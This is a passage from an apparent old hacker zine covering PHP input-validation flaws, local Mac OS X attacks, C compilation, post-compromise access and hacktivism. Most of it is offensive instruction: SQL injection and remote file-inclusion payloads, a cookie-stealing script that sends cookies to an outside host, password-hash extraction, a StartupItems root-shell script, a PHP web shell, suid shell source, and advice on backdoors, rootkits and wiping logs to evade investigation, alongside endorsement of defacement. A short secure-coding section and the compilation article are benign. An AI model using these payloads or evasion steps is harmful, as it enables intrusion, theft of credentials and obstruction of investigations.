Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL
Server Driver][SQL Server]Unclosed quotation mark before the character string '
order by DESCRIPTION '.
/products.asp, line 6
```

$Finding Vulnerable Scripts;

Now that you have an idea of what sort of vulnerabilities to look for, the fun begins when you start looking for targets to practice on. You could sweep for targets broadly through clever google searches. You could also start downloading the source code to major PHP software and go through it with a fine toothed comb looking for mistakes. But most of the vulnerabilities I find are ones stumbled upon through casual browsing.

You can also try specifically looking for vulnerabilities by downloading the source code to popular systems and parsing it for known PHP vulnerabilities. A good place to start would by http://php.resourceindex.com, which has a large categorized repository for most PHP scripts. You can do all sorts of searches to grep the source code for vulnerabilities(like the ones listed above) and see if you can find instances where input is passed to these system functions unchecked.

Hacking through google is a very fine art and can yield hundreds or thousands of vulnerable machines with a single query. If you find a piece of vulnerable software, you might try looking for websites that run that same software. Often

times scripts will leave a small tag at the bottom of the page, so you can search for "Powered by GenericMessageBoard v1.02" to find targets. You could also search for specific names of scripts through something like inurl:"/funbb/viewtopic.php". You could also search for generic scripts like inurl:".php?file=" or variations thereof. Often times developers will poorly configure their systems and make silly mistakes like leaving backup/config files around or directories open. Much of this information can be extracted through clever searches. Google hacking can become quite complex and can help assess and penetrate systems with some amazing results. A great place for more information would be http://johnny.ihackstuff.com.

$Disclosure;

This is a topic of great debate in the hacking community. Upon finding a vulnerability, what do you do with it? There are advantages and disadvantages that come with disclosing a security hole which need to be weighed with your personal morality.

If it is a large piece of software used by many websites, you could post it to BugTraq and receive quite a bit of attention and credit if you word things well and handle it correctly. If you go this route, many people feel that before you publically release a major vulnerability it would be good practice to notify the vendor so that they can release a patched version. Of course, you would also be giving script kiddies ammunition to attack other sites with. The vulnerability would also lose it's appeal of being 'hot' because everyone's got it now, and soon most websites will be running patched software. Many people believe it is best to keep vulnerabilities on the down low, but nothing will stop it from eventually being released to the public.

If the vulnerability lies in the custom code of someone's website, your actions should depend on what sort of website it is, what sort of service they provide, etc. If they are in general an honest, good hearted group of people, it wouldn't accomplish much to trash their site. If it's a nazi, pro-war or hate-filled site, it is a different story. Many people feel that a simple defacement isn't really harmful as long as you don't delete files and if you notify the web developer how it is fixed, and for the most part unless it is a major corporation you don't have to worry about any sort of investigation especially if you use a proxy.

$Validating Input + Secure Coding;

There are all sorts of techniques webmasters use to validate input, and it largely depends on what system functions the input is being passed to and what you are trying to defend against.

If you are using include, require or fopen statements, consider using a function like is_file() to verify that you are including an actual file stored on the machine as opposed to PHP code on another server. You should also strip all special characters like periods, commas, and slashes, to prevent someone from doing something like include("/includes/../../../../etc/passwd"). You might want to also set open_basedir restrictions on to prevent people from leaving the web root and including sensitive system files and configurations.

To defeat most SQL injection issues, you should make sure to use addslashes() before passing anything to mysql_query and then stripslashes() when retrieving data. You should also consider typecasting input to an integer if you are doing something similar to products.php?category=3 or viewitem.php?id=44. PHP also provides two commands, escapeshellcmd() and escapeshellarg(), which can be useful to strip input before it is passed to a exec() function.

If information is being stored in a database to be displayed to users later, you should sanitize input as to prevent cross site scripting vulnerabilities as well as prevent people from causing general mayhem by opening tags and never closing them. Consider using str_replace to convert all < and > characters to < and >s to prevent people from starting html tags or javascript code blocks. You might also want to strip all newline characters and other special codes.

For all purpose validation, consider checking a variable against a series of if or switch statements to see whether the value is allowed before passing it off to functions:

```
switch ($page) {
  case "links":
    echo "Links!"
    include "includes/links.inc.php";
    break;
  default:
    die("Sorry, not valid input.");
}
```

The most secure method would be to strip input of everything except for alphanumerics. This can be accomplished through the use of regular expressions: $str = preg_replace ("/[^a-z 0-9]/i",'',$str);

It is also a good idea to surpress output of a function as to prevent error codes from helping hackers from gaining information about your system configuration, database layout, file structure, etc. You can do this by sticking a @ in front of the function name: $result = @mysql_result("SELECT * FROM admin_users");

There are also a number of PHP config options that can help secure a machine. turning open_basedir on will prevent a file from accessing files outside of it's base directory(preventing attacks like including ../../../../etc/passwd). Turning magic quotes on will automatically escape quotes from input into to prevent Turning safe mode on allows a number of precautions like disabling or inhibiting system functions such as system/exec/passthru, include/require, etc. Turning register_globals off will force PHP scripts to reference input from users like $_GET['varname'], $_PUT or $_COOKIE instead of referencing them directly like $varname. As of PHP 4.2.0, this has been made the default option. This helps for poorly written scripting which might allow users to inject values into variables.

$Rousing Conclusion;

This guide should at least point you in the right direction as far as finding, exploiting, and fixing common PHP input validation vulnerabilities, and give you some idea of what you can do with it. Most web vulnerabilities will provide you with a foot in the door where you can try other tricks to try to elevate permissions and gain further access. You should also check out ways of securing your level of access through backdoors and burying yourself in system files. You can play with many of the concepts explained here on some hacking simulations at hackthissite.org. Or you can try some clever google searches and find a billion machines in the wild =) Have fun, cause mischief, and don't get caught!

$Real World Examples;

Here are some real world examples of the vulnerabilities explained in this document. This small list is just a preview of the kind of stuff that is discovered every day.

phpMyAdmin 2.6.1 Remote File Inclusion
allows you to read arbitrary files
http://[HOST]/[DIR]/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc&theme=passwd%00

Remote PHP Code Execution: vBulletin 3.06 and below:
injects PHP code through invalidated eval statement
 http://[target]/misc.php?do=page&template={${phpinfo()}}

phpMyFamily <= 1.4.0 SQL injection admin bypass:
injects sql code which allows you to login as an administrator:
Login: ' OR 'a'='a' AND admin='Y'/*
Password: (empty)

PHP Form Mail 2.3 Arbitrary File Inclusion
allows php code execution and remote unix commands
http://[target]/[dir]/inc/formmail.inc.php?script_root=http://asdf.com/phpcode.
php

MiniBB 1.7 SQL Injection
reveals admin passwords through sql injection vulnerability
http://[target]/minibb/index.php?action=userinfo&user=1%20union%20select%201,2,
user_password%20from%20minibb_users/*

Keep your eye open for the following types of vulnerable PHP scripts:

include, require, or fopen

If input is passed to include, require, or fopen in ways similar to:
include "$page" or require "$page";

... then depending on the server configuration, you could either read files off
their machine or even execute your own PHP code. By setting $page to something
like '/etc/passwd' or "../../admin/.htaccess", you could read sensitive data off
of their machine like server config files or passwd files. In many systems if
you pass a URL to include() their server will make an http connection grab the
file and execute php code. This means you can write a script like <?php echo
passthru($cmd); ?>, save it on your webserver, and call their script like
include.php?file=http://www.yourdomain.com/passthru.php&cmd=cat /etc/passwd .

Depending on how they modify their statement (like include "includes/$page",
include "$page.php", etc) it may limit what you can do or make it a bit more
difficult. Often times error statements will reveal the path of the script as
well as what input they are passing to include.

Warning: Unable to access fun in /home/sites/18/web/cia/include.php on line 1

If a script ends your input with an extension(like include
"/path/to/$file.inc"), you may be forced to reading files only ending with a
.inc - unless they are running specific combinations of php and their os which
may allow you to add a %00 at the end of your input which will cause include to
ignore the extension. ex: include.php?file=../../../../../etc/passwd%00

cross site scripting

When a script takes input and sends it back to thebrowser without sufficient
validation, you could inject javascript code that lets you interact with the

user's browser.

```
<?php echo "Hello, $name"; ?>
```

```
showname.php?name=freeme<script>alert(document.cookie);</script>
```

This would make an alert box displaying the cookies for the given domain to the user. If this is vulnerable, it's also very likely that you could craft a URL that redirects the user to an offsite URL that logs the user's cookie for later retreival through something like...

```
showname.php?name=freeme<script>window.navigate("http://www.somehost.com/
cookiesteal.php?thegoods="+document.cookie)</script>
```

...where cookiesteal.php would log all incoming requests and the contents of 'thegoods'. Many web scripts use cookies to store authentication information, which you could use on the original site either by saving the values of these cookies as your own, cracking passwords, etc.

eval

Eval allows you to execute PHP code from a string. If you do not sanitize input before it is passed to this function, it can potentially be manipulated to execute PHP code. A statement like eval("\$message = \"$var\";"); could be manipulated like asdf.php?var=".passthru('cat%20/etc/passwd')."

sql injection

There are many complexities that vary with the SQL server you are dealing with as well as the configuration of the web server. In most cases, PHP is used with MySQL is more secure than something like Microsoft SQL server. Regardless of what server they use, if the coder does not check input before it is passed to an sql statement, you could possible extract data from their database or bypass login prompts. Consider the following authentication system:

```
$result = mysql_result("SELECT * FROM users WHERE username='$username' AND
password='$password")
if (mysql_numrows($result) == 1) {
  echo "login success...";
} else {
  die("Error! " . mysql_error());
}
```

If the variables $username and $password are not checked for bad input, one could enter the following into both the variables and trick the login prompt into thinking he entered a valid login:

```
login.php?username=' OR 'a'='a&password=' OR 'a'='a
```

The new SQL query would look something like **SELECT * FROM users WHERE username='' OR 'a'='a' AND password='' OR 'a'='a'** in which case it doesn't matter what the username or password is, the character 'a' will always be equal to 'a', which would log you in as the first user in the database. You could also modify username slightly to allow you to choose the user if you know the name of the field in the database: ' OR 'a'='a' AND username='kevin mitnick

Many times a script will have magic quotes on or use the PHP functions addslashes/removeslashes before passing input to the query. In this case, characters like ' will automatically be escaped into \', which MySQL will understand as part of a string and not a special SQL statement.

There are also ways of extracting data from the database if a script passes poorly validated data to a SELECT query. Consider the following script:

```
$result = mysql_result("SELECT * FROM products WHERE category=$category");
while ($i < mysql_numrows($result)) {
  $data = mysql_fetch_row($result);
  echo "Product name: $data[0] Product price: $data[1]<br>";
}
```

MySQL has the ability to join several SQL queries into one result set. In the above example, you could craft a URL which would allow you to grab data from another table and return it with the same results as the products table.

products.php?category=-1 UNION SELECT username, password FROM users WHERE username='admin'

In order to pull something off like this, it would require you to know the exact fields and table names. If it was a Microsoft SQL server, you could query INFORMATION_SCHEMA to get information about the database structure. This technique also requires that the first and second query have the same number of columns. Often times you could figure this out by trying somethign like SELECT 1, 2, 3 FROM tablename ... SELECT 1, 2, 3, 4, 5, 6, 7 from tablename... etc. to find the right number of columns that will match. Often times the types of fields returned also have to match, in which case you could either stick raw integers or characters to test and find which fields are which(SELECT 1, 2, 'a', a', 3, 'a', 4, 5 FROM). Generating errors from SQL will often times reveal important information about the names of tables and fields as well as how specific queries are structured in the programmer's code.

SQL injection is a complex trick that requires quite a bit of research and practice to master well outside the scope of this small introduction. Most of the time, every system will be different and every individual programmer will craft their SQL statements differently and not use such obvious table and field

names. There are a number of well written whitepapers about all sorts of techniques in which I would suggest for further reading. Many of the realistic challenges on HackThisSite.org also provide a place for you to legally practice this technique on real systems set up with intentional php/mysql flaws.

system, exec, passthru

These functions execute UNIX commands, which obviously pose a threat if input is passed to these functions without sufficient validation. For example, if a script does something like passthru("cal $inputyear"), expecting input to be an integer year so that it can display the calendar, you can inject a value like "2001; ls" and get a directory listing. This is possible because you can execute several UNIX commands in one line by seperating them with a semicolon. You can also try working with several other commandline goodies, like `cat /etc/passwd` which will dump the output of any command between the ``s, or | which will let you pump output from one program into another, or > and >> which will let you dump output from a command into a file.

file uploading

Often times scripts will present you with a form that will allow you to pick a file off of your hard drive and upload it to their website. There are a few tricks you could try this that might allow you to upload files in other locations with other names, potentially allowing you to overwrite files or upload PHP files which may allow you to gain the ability to execute commands as the web server.

If you're lucky, they won't do any sort of authentication that makes sure you are uploading files of a specific type. If this is the case, you can upload a PHP file without any trouble and be able to do anything you want to do. Most of the time they will at the least check for file extensions in which case there may be some workarounds. Often times if it is a media upload it will check for the presence of 'jpg', 'jpeg','gif', etc. You might want to try uploading a file called jpg.php. If they allow uploads of any kind of file EXCEPT for blacklisted extensions, check to see if they allow you to upload php, php3, phtm, phtml, phps, perl, pl, cgi, asp, aspx, jsp, or any other sort of server side scripting language.

There are also several different vulnerabilities in PHP itself allowing users to upload files as any name in any location that the web server can write to. This is only capable of the name of the $_FILES variable has an underscore(_) character. You can forge your own HTTP request and set the name of the file through Content-Type: ../../path/to/newfilename.html to ignore the filename="somefile.html" which usually defines the name of the file. This potentially allows you to upload PHP files, gaining the permissions of the web

server.

Another vulnerability in PHP allows you to bypass their measures to prevent path transversal. If you upload a file with a single quote(such as ..'filename.html), PHP will escape the quote into a /' AFTER it sanitizes the input, resulting in the final name of ../'filename.html. If there isn't sufficient input validation and if the web server has write permissions, this will potentially allow you to upload files one directory up. This affects PHP 4.3.6 to 4.3.9.

General Misconfigurations

Often times a web developer will be careless and make mistakes which might reveal configuration files or logins. Often a php file will be named something other than .php which will cause the web server to output the raw source to you instead of parsing it for PHP code before output. This can also happen when backups are made by copying a file as config.inc.php.bak or so forth, which might reveal login or mysql information.

It is also a good idea to check out all directories on a system that do not have an index page to see whether the web server is configured to give you a directory listing, which in some cases might give you access to sensitive information about the server or organization.

If you have the ability to read files off their machine, you might want to try reading configuration files for their PHP scripts or the server as a whole. If they are using common software, try downloading the source from the developers website, find the name of the configuration file, and try reading the targets to reveal mysql u/p or more. If you can read outside of the web directory, also try reading httpd.conf, ftp conf files, user .bash_history files, my.cnf, .htacesses, etc (or boot.ini, sam, config.sys, etc on a windows machine). A developer may even be as silly to leave default logins and passwords when configuring a ready to go PHP script.

```
################################################################################
#                          10. Hacking Local Mac OS X                          #
################################################################################
```

The tricks explored in this article range from privilege escalation vulnerabilities to clever ways to get around protection schemes. Some have been kept on the down low, but as more of them are recognized and patched by Apple, we may as well make these available for people to learn from. While I'm not just going to post exploit scripts, I'll explain what can be done and leave you to research and make the most of these tricks.

- Cracking User Passwords

- Reading Files as Root through /usr/bin/at
- Sensitive Swap Files
- Tricking Software Update
- Recover Open Firmware Password
- URL Handler Exploits
- Other Vulnerabilities

Cracking User Passwords

Gone are the days where you can just execute "nidump passwd ." and get a list of DES encrypted passwords for all users. Even though this was patched a while ago, there's still several ways to be able to recover user passwords. Mac OS X does not store passwords in an /etc/shadow or /etc/master. passwd file. However, there is a way you can recover password hashes for all users.

Mac OS X uses NetInfo to handle user accounts. The password hashes on an OS X based system are stored in /var/db/shadow/hash/(guid). Each user has its own hash file. To get a list of users and their corresponding generated uid(guid), try:

```
local: user$ nireport / /users name generateduid uid | grep -v NoValue
admin 559DBF44-4231-11D9-A5A8-00039367EBAE 501
orb 5D97A400-5045-11D9-AFEB-00039367EBAE 502
test C82D45B7-6422-11D9-853D-00039367EBAE 503
```

So the password for the "admin" user is stored in /var/db/shadow/hash/559DBF44-4231-11D9-A5A8-00039367EBAE. Now this file can be read only as root. Of course, there are a few tricks we can try that allow you to read these files. But let's say that you have root access for now.

```
 # cat /var/db/shadow/hash/559DBF44-4231-11D9-A5A8
 00039367EBAE 209C6174DA490CAEB422F3FA5A7AE634F0D412BD764FFE81AAD3B435B5
1404EED033E22AE348AEB5660FC2140AEC35850C4DA997
```

This large string contains two seperate hashes for the same password. The first 64 characters form the SMB hash(which is used for Windows file sharing, even if it is not turned on) which is actually two 32 character MD4 hashes put together. The last 40 characters form the SHA1 hash. Once you have recovered this file, all that remains is to properly format this file and run it through a password cracker like John the Ripper or Lepton's Crack.

SMB hashes:

```
admin:209C6174DA490CAEB422F3FA5A7AE634:F0D412BD764FFE81AAD3B435B51404EE
orb:6FFB224FB592476B2230862E220937DA:4B881A967FE694FBAAD3B435B51404EE
test:0CB6948805F797BF2A82807973B89537:01FC5A6BE7BC6929AAD B435B51404EE
```

```
SHA1 hashes:
admin:D033E22AE348AEB5660FC2140AEC35850C4DA997
orb:23119F5947DA61A815E7A1CC2AF9BDB8C19CAF1F
test:A94A8FE5CCB19BA61C4C0873D391E987982FBBD3

--------------------------------------------------------------------------------
Reading Files as Root through /usr/bin/at
--------------------------------------------------------------------------------
There is a vulnerability in /usr/bin/at that allows you to read files as root.
This implications of this can be devestating if you already have local
unprivileged access. Using this trick, you can read a variety of sensitive files
including user password hashes, temporary swap files, .bash_history files, etc.

This will allow you to read a list of commands executed by the "admin" user:
local: user$ id
uid=503(test) gid=503(test) groups=503(test)
local: user$ ls -al /users/admin/.bash_history
-rw------- 1 admin staff 1259 12 Sep 2003 /users/admin/. bash_history
local: user$ cat /users/admin/.bash_history cat: /users/admin/.bash_history:
Permission denied
local: user$ at -f /users/admin/.bash_history now+1minute
Job a011afa33.000 will be executed using /bin/sh
local: user$ cat /var/at/jobs/a011afa33.000
(the contents of /users/admin/.bash_history)

As long as you have local access to the machine, you can read the hash files for
all users using this vulnerability:

at -f /var/db/shadow/hash/559DBF44-4231-11D9A5A8-00039367EBAE now+1minute

This was patched with the January 25, 2005 security update available from Apple.
--------------------------------------------------------------------------------
Sensitive Swap Files
--------------------------------------------------------------------------------
There is another technique for recovering passwords making use of temporary swap
files. Several components including FileVault, Keychain, login, and others store
all sorts of sensitive data in these swap files located in /var/vm/. These are
huge files and it takes some clever unix commands to be able to extract anything
useful out of them. However, often times the above applications will store
usernames and passwords in plain text.

Try this on your home machine(making sure to also try swapfile1, swap-file2,
etc)

# strings -8 /var/vm/swapfile0 | grep -A 4 -i longname
```

This will only recover passwords from people who had sat down and actually used the system with their user account. Every time the machine restarts, these swapfiles are cleared, so the longer a machine had been running the better chance you have with recovering passwords.

Of course, these files are read only by root. You can also use the "at" vulnerability above to copy these swapfiles to a temporary location and then use the above command to parse those files.

Tricking Software Update

Mac OS X has a handy tool called Software Update which automatically checks for software patches and security updates. Many of the tricks in this document had already been patched. Fortunately, if you have access to a machine you can trick Software Update into thinking that you have already installed specific updates.

Check out the contents of /Library/Receipts/. Create a file with the same name as an update package and Software Update won't list that particular package.

Recover Open Firmware Password

Many public computers, especially commercial cyber cafes, use special security software or tracking mechanisms that prevent you from doing certain activities or even require you to pay by the hour. Ordinarily, you would be able to restart the computer into Open Firmware and either use single user mode to mess with the system or just boot to an external device like the copy of Mac OS X you installed on your iPod. Unfortunately,more and more computers are starting to password protect Open Firmware which requires you to authenticate before you do any of these things.

This is beatable. If you have root access in terminal, try typing nvram security-password. This should spit out a string which is the open firmware password encoded in xor hex. It is NOT encrypted, it is simply obfuscated.

```
nvram security-password
security-password: %d9%df%da%cf%d8%d9%cf%c1%d8%cf%de
```

The MacSIG group at University of Michigan wrote a C script to be able to generate strings to be used as the open firmware password:
http://macosx.si.umich.edu/files/ofpwgen.c

Using this you should be able to generate strings to match with the password found by nvram security-password. You can also use this chart as a reference:

```
nvram security-password
a  b  c  d  e  f  g  h  i  j  k  l  m
%cb%c8%c9%ce%cf%cc%cd%c2%c3%c0%c1%c6%c7

n  o  p  q  r  s  t  u  v  w  x  y  z
%c4%c5%da%db%d8%d9%de%df%dc%dd%d2%d3%d0

A  B  C  D  E  F  G  H  I  J  K  L  M
%eb%e8%e9%ee%ef%ec%ed%e2%e3%e0%e1%e6%e7

N  O  P  Q  R  S  T  U  V  W  X  Y  Z
%e4%e5%fa%fb%f8%f9%fe%ff%fc%fd%f2%f3%f0

1  2  3  4  5  6  7  8  9  0  !  @  #
%9b%98%99%9e%9f%9c%9d%92%93%9a%8b%ea%89

$  %  ^  &  *  (  )  +  =  -  _  }  {
%8e%8f%f4%8c%80%82%83%81%97%87%f5%d7%d1
```

When you have this password, you are able to boot into single user mode or restart from the operating system stored on your iPod, circumventing any sort of security mechanism set up by the owners.

Exploiting Bad Startup Items Permissions

If the /Library/StartupItems folder has not already been created, certain software installers that use this folder may have to create it in order to run programs when the machine restarts. These scripts run as root. Very often poorly written software installers will create this folder with bad permissions, allowing any user to drop files in that directory. One could write a malicious script, drop it in that folder, restart the computer, and be able to execute scripts as root.

```
ls -al /Library/StartupItems/
total 0
drwxrwxrwx 3  root admin 102  5 Apr 12:15 .
drwxrwxr-x 39 root admin 1326 6 Apr 09:28 ..
```

As you can see, the directory is chmod 777 - which means we can write files to it. Make a folder in this directory and write a shell script which the same name as the directory containing the text:

```
#!/bin/sh
```

```
cp /bin/sh /etc/.rewt
chown root /etc/.rewt
chmod 4755 /etc/.rewt

Then make a file called StartupParameters.plist containing the text:
{
 Description = "NameOfScript";
 Provides = ("NameOfScript");
 OrderPreference = "None";
}

Next time you restart the machine, it will execute the shell script you wrote.
This particular shell script will make a suid root shell in /etc/.rewt. Boom!
```

URL Handler Exploits

There are a number of security issues related to URL handlers in Mac OS X. Through these tricks, you are able to execute code on a victim machine just by loading a link in *any* web browser. There are several varieties of these exploits based around the same contents and have been patched through a number of different security updates Apple had released, the latest 2004-06-07 fixing most of them. The basic idea is to trick the browser into downloading and mounting a DMG file and then trying a second trick to actually run code from the files stored in the DMG file.

There are a number of ways to be able to mount volumes on victim systems. You can prepare an HTML document to automatically redirect you to a certain URL through javascript or a meta refresh tag. By going to disk://urlto.com/some/package.dmg, the browser will automatically download and mount package.dmg. This can also be accomplished through something similar to ftp://, afp://, and even http:// inside of safari.

The contents of the DMG file may contain a specially crafted application called Fun.app which can in itself register a new URL handler (let's say malicious://) that when called by any browser it will launch Fun.app. Applications can register new URL handlers as CFBundleURLTypes tags stored in the Fun.app/Contents/Info.plist or the plist resource fork. Alternatively,you could also try help://runscript=../../../Volumes/yourvolume/yourscript.scpt to start files stored on the mounted dmg volume.

Other interesting URL handlers that can be explored for future vulnerabilities: x-man-page://, telnet://, ssh://, ical://, addressbook://, itms://, mms://, etc.

Other Vulnerabilities

There had been a number of vulnerabilities and exploits discovered for Mac OS X over the past year.

CF_CHARSET_PATH local root exploit

Exploiting a buffer overflow in Core Foundation, an attacker is able to drop to root by injecting malicious code into the CF_CHARSET_PATH environment variable. The exploit is publically available and Apple released a patch on March 21, 2005.

AppleFileServer remote root exploit

A pre-authentication buffer overflow in Apple file sharing allows you to execute remote commands as root. It affects several different versions of the OS, but only the return address and offsets are public for 10.3.3. This was patched by Apple on 2004-12-02.

Browser homograph attacks allowed spoofed URLs

Because of improper International Domain Name support, it is possible to craft a link which tricks the browser into appearing like an official site but actually redirect to somewhere else. Example: http://www.pаypal.com/ appears like paypal.com while it actually goes to www.xn--pypal-4ve.com. This was discovered by the Schmoo group and patched with the March 21 2005 security update.

Adobe Version Cue local root vulnerability

On systems running Mac OS X 10.3.6 or below who has Adobe Version Cue installed (ships which virtually every Adobe product) allows unprivileged users to drop to a root shell through manipulating suid shell scripts. The script /Applications/Adobe Version Cue/stopserver.sh does not check to see what directory you are in before it makes references to other shell scripts. You are able to call stopserver.sh through a symbolic link and execute malicious code as root by making a fake productname.sh. You can easily cp /bin/sh to ~, chmod 4755, and chown root. Boom, instant suid root shell.

mRouter local root exploit

A buffer overflow in a command line argument of the mRouter binary can be exploited to drop to a root shell. mRouter is SUID by default and comes installed with the iSync packages. This bug was fixed with Mac OS X 10.4 Tiger.

Apple Internet Connect local root vulnerability

Apple Internet Connect writes to /tmp/ppp.log, creating it if it does not already exist, and appending to it if it already exists. You can trick it into appending data to any file on the system by creating a symbolic link /tmp/ppp.log to the file being altered. By adding code to the telephone dialogue box, and redirecting /tmp/ppp.log to /etc/daily, you can execute code as root as

cron checks this file everyday at 3:15am. This vulnerability was discovered by b-r00t and affects versions up to 10.3.4.

```
##############################################################################
#              11. C Compilation on a Low Level   By Forcemaster              #
##############################################################################
```

This article discusses the process behind compiling a C program. the article will be split into two sections. The first about low level C compilation and its workings, the second will contain some useful C links and some other random shit that I might decide to throw in there. So read on...

The first part of the compilation process is the preprocessor. The preprocessor accepts source code as input and is responsible for removing componenets and intepreting preprocessor directives (such as #defines and macros, and anything else with # at its start for that matter). The next stage in compilation is the compiler. All this does is translate the source code sent to it from the preprocessor to assembly code. Very good. Next. The assembler comes next, it creates object code. The last step in C compilation is the linker editor, which adds libraries, and external functions to the main() function, it also resolves any external variables. After this has been done, an executable file is produced. The Preprocessor. A unique feature to C compilers is that the preprocessor is always the first step in compilation. The preprocessor kind of provides its own mini-language, as it were. Using the preprocessor has several advantages, which I'm not going into here as this is not a C tutorial. It interperates all processes begining with a "#" (hash) sign. Now it'll go through how it does this with some preprocessor direvtives.

The most common preprocessor directive is "#include", when an #include statement is issued like "#include <file>" the preprocessor will look in the directory where system header files are usually kept. Normally /usr/include on *nix systems. When an #include statement is issued like "#include 'file'" the preprocessor will look in the current for the header file. The preprocessor directive #define is nothing but a text substitution. #define also can be used to make macros, which are basically mini-functions, in this way the preprocessor can be very powerful. The next stage in C compilation is the compiler, which translates the code into assembly. It recieves the source code from the preprocessor.

The assembler is next, which creates object code. Object code contains compact, pre-parsed source code. Usually called binaries. An object file (a file containing object code) is mostly machine code. WHich is code directly understood by the machine processor. Object code has a .o suffix on *nix systems and usually .obj on windows system. Object code can be linked with other libraries to create a final executable. Finally is the linker or link editor.

The linker takes various object files and assembles them into an executable file. Linkers can also include object files from external libraries. This has advantages over including a single large object file such as making faster compilation time, and more managable code. Most compilers will automatically link with several defualt system libraries during compilation. After all these compilation steps you should be left with a finished executable file. Most compilers have a nice syntax checker that will stop compiling if a syntax error occurs, although occasionaly errors do occur that are not picked up by the compiler.

SamHallam@gmail.com (Forcemaster)

http://ctour.tonymantoan.net -- Absouletly fucking awesome C tutorial for begginers. Where I started, it does however have a few errors with linked lists, but nothing more.

http://www.ecst.csuchico.edu/~beej/guide/net/ -- Very great C socket tutorial.

http://www.winprog.org/tutorial/ -- Nice win32 API tutorial.

http://www.hackthissite.org/lectures/read/9/ -- My two C tutorials I did for hackthissite.org.

http://www.planetsourcecode.com/ -- All your source code needs.

http://www.phrack.org/phrack/49/P49-14 -- The infamous "Smashing the stack for fun and profit" by Aleph One

```
################################################################################
#          12. Security Access, Backdoors and Gaining Permissions              #
################################################################################
```

Woah! I just found this bug on this web server that lets me run commands as the web server. This is cool! Too bad I only have permissions as the web user. What do I do now? No doubt you've left some pretty nasty trails all over the web server, and you're probably not satisfied with the access level of what you have right now.

This guide will show you some tricks on how to secure your access, elevate permissions, set up backdoors, and clean up after your tracks. Comprimising machines and chaining several secure jump boxes to route your connections allows you to be virtually anonymous, especially if you use a public unmonitored internet connection.

If you've found an exploit, one of the first things you might want to do is

probably find a way to make sure you'll always have access, even if they discover and patch the vulnerability. In every system, you could copy files to /tmp/ which gives you some file space that you can play around with, but unless youput it in the web root, you won't be able to access your files from the web server. You can try to find a dir you can write to through a find ../../../ -type d -perm 777 where ../../ is the path to the web root base. This will spit out a list of directories that you can copy a backdoor to. You should then make a hidden directory .page where you will put all your files. Then you can use a tool look curl or wget to copy a PHP or ASP exec backdoor(like funtimes.php on the right) to this directory. If neither of these tools are available, or if the server is behind some sort of firewall, then you could also echo "<?php thesourcecode; ?>" > /path/to/www/root/.page/backdoor.php.

This will give you a web based shell, which is a good start,but has a number of disadvantages. Every time you execute a command, a little entry in their access-log notes your IP address and the URL to the backdoor. In addition, this will not let you execute interactive programs like ftp or vi because of the nature of the web. So it's obvious you need something a bit more.

You might want to read about some configuration files to see if you could gain further access or at least gather information about the machine. Try the httpd.conf file or any .htaccess files, often times it will continue AuthUserFile statements which have paths to the password files for password protected directories. These files are usually DES or MD5 encrypted which can be cracked, and usually give access to admin sections that may allow uploads or ways to interact with their database. You can also try reading /etc/passwd to find usernames on their system, as well as proftp.conf, my.cnf, pam.conf, or others. If they have scripts that make use of MySQL, look around for some configuration files to see if you can find any u/p. Try config.php for phpBB or config.inc.php for phpMyAdmin. Often times if they are silly enough they will use the same logins information as ftp or ssh. If you cannot get a shell login this way, then you might want to see if you could bind a port to the shell to telnet to and use interactive programs. This will help when navigating the system and trying other exploits.

If this by itself doesn't give you access, you're going to have to see if there are any exploits on the system to gain further access. Try a uname -a, ps -aux, and a nmap to see what sort of services are running on this machine that could be exploited. Look for suid binaries on a system: find / -perm -4000 -o -perm -2000 -exec ls -ldb {} \; . Look through k-otik.com, milw0rm.com, securityfocus.com, and others to see if there are any local root exploits for this system. No system is entirely secure, especailly if the system is old or unpatched, there's probably dozens of ways to get root, but it is outside the scope of this article.

Now that you've got complete control of the machine, there's a billion things you can do to secure access and cover your tracks. Add new users with uid 0 for same permissions as root. Create a C file that and chmod it 4755 so that it runs a /bin/sh shell as root(see suidshell.c below). Bind a port to a shell running as the root user so you can hop on without leaving any messy logs anywhere. If you really want to get fun, you can backdoor several system binaries including w, who, ps, ls, and even login to hide your trails in a system. There are all sorts of rootkits that automate the process.

Clearing the logs of a system could mean the difference between a federal investigation and getting away with the penetration. Every system stores its logs in different locations and often times system administrators will back files up to different locations. For starters, wipe everything inside of /var/log. If you gain access through a flaw in the web server, make sure you also clear all apache access or error logs. Usually you can find the locations of this through reading the httpd.conf file. Clear the .bash_history file for all users to destroy your command history(starting an ssh session with an unset HISTFILE command will disable this logging). There are also prewritten scripts like zap3.c which help automate the process of clearing logs or even stripping all specific ip addresses without completely trashing logs and becoming noticed. Remember, deleting a file is not enough, you want to shred the files with random data to slow forensics.

This should give you an introduction of some directions you can take a system if you've already got some level of access. Good luck, stay out of trouble, and don't get caught!

funtimes.php:

```
// drop in any directory in the web root to exec cmds as the apache user

<code><pre> <?php $cmd = $_POST["cmd"]; passthru("$cmd", $return); ?>
</pre></code><br><br>hacker anarchists are everywhere!<Br> <form
action="funtimes.php" method="POST"> <input type="text" name="cmd"> <input
type="submit" value="exec"> </form>
```

suidshell.c:

```
// upon gaining root, compile this file and chmod 4755 suidshell . ./suidshell,
instant root

#include <stdio.h>
int main() {
  setuid(0);setgid(0);
  execl("/bin/bash","bash",(char *)0);
  return 0;
}
```

```
                    !###################################!
                    !###        TAKE ACTION         ###!
                    !###   HACKTIVISM IN PRACTICE   ###!
                    !###################################!

           "The people who are crazy enough to think they can change
            the world are the ones that do."

################################################################################
#              13. Join Revolution, Live Happier   by r3d5pik3                 #
################################################################################

So you're tired of wasting your life away behind a screen, or maybe your not
satisfied with the way things are going around you. You're constantly looking
deep down for more in life, more meaning, more excitement. You want to make a
difference, and you want to have a good time doing it. So what better way then
to get active in your community?

Now when you hear the words revolution, and activism, a couple things that may
come to mind: protesting, rioting, tree hugging, stealing, and sometimes even
arson. Well that is undoubtedly how the media portrays activists. However this
mass depicted stereotype is extremist, and somewhat falsified. Becoming an
activist has absolutely nothing to do with carrying a picket sign, breaking
stuff in the streets, and setting stuff on fire  (not saying that those things
aren't fun ;) ). It is about about making changes  to system, but not via the
drastic methods you see televised. As a matter of fact, revolution will not, and
can not be televised. Activists utilizing the system to destroy the system never
has, and never will work out. So true activism takes effect at a local level. It
is here at this local level were individuals have the biggest impact on the
world.

So now that we got your windows cleaned from media missrepresentation, and you
see the bright rays of activism glaring at you. There are all sorts of ways to
integrate radical ideas into your everyday life:

1.) Turn off the television
--------------------------------------------------------------------------------
TV is the centrifuge of most things corporal. Chances are you, or some one you
know works for some one directly, or indirectly involved with this form of mass
